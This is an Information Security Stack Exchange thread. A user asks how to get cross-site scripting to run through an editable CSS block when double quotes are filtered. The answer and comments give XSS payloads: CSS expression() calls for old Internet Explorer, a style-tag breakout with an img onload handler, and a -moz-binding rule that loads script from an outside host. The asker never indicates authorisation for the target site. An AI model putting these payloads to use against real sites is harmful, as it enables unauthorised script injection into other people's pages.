Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I'm trying to make XSS work on one site.It allows me to edit CSS which is then included inside web page source , but it won't allow me to use " , only ' . Source is like this:

body {
  margin: 0;
  padding: 0;
  background-color: #EFEFEF;
  overflow: hidden;
  font-family: Arial, Helvetica, sans-serif;
}

Can't XSS inside CSS be exploited if " is blocked.Thanks

share|improve this question
    
By embedded, you mean an inline stylesheet? Can you post the embedding related markup too? –  CodesInChaos Sep 4 '12 at 20:42
1  
And how do other characters, such as < get treated? And how is " treated? Forbidden? Entity-Encodes? `` escaped? –  CodesInChaos Sep 4 '12 at 20:43
    
@CodesInChaos here is the full code :pastebin.com/EkRCwMCc and <> is hex encoded , just like ". –  user1203028 Sep 5 '12 at 16:36

1 Answer 1

up vote 6 down vote accepted

This policy might prevent breaking out of a double quoted style attribute as in

<div style="payload goes here">

or if this CSS is stored in a DB it might be a SQL Injection filter.

To answer your question though, yes, you can still attack the CSS itself with single quotes

margin-left:expression('alert(1337)')

which will work on IE7 and older or in some more recent IE quirks modes and it won't stop you from embedding double quotes visible to CSS as in

margin-left:expression('alert(\22 pwned\22)')
share|improve this answer
    
Here is what I'm dealing with : pastebin.com/EkRCwMCc . Is there any way to get this xss working on mozzila.Thanks –  user1203028 Sep 5 '12 at 16:39
    
@user1203028, What part of that does an attacker control? –  Mike Samuel Sep 5 '12 at 16:42
    
This : <style type="text/css"> body { margin: 0; padding: 0; background-color: #EFEFEF; overflow: hidden; font-family: Arial, Helvetica, sans-serif; } shortened cos of text limit..... ... ... </style> –  user1203028 Sep 5 '12 at 16:44
    
@user1203028, If they only filter ", then obviously </Style ><img onload=alert(1337)> will work. Otherwise, <style>body{-moz-binding:url(http://ha.ckers.org/xssmoz.xml#xss)}</style> should do it. –  Mike Samuel Sep 5 '12 at 17:00
    
No , well I tried with <> and they are filtered (hexed) , and the solution you gave didn't work , thanks anyway.It seems I cant do anything. Btw, if you want to give it a try , this is my email maxonebt4@gmail.com , jyst email me and I'll give you site location. –  user1203028 Sep 5 '12 at 17:29

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.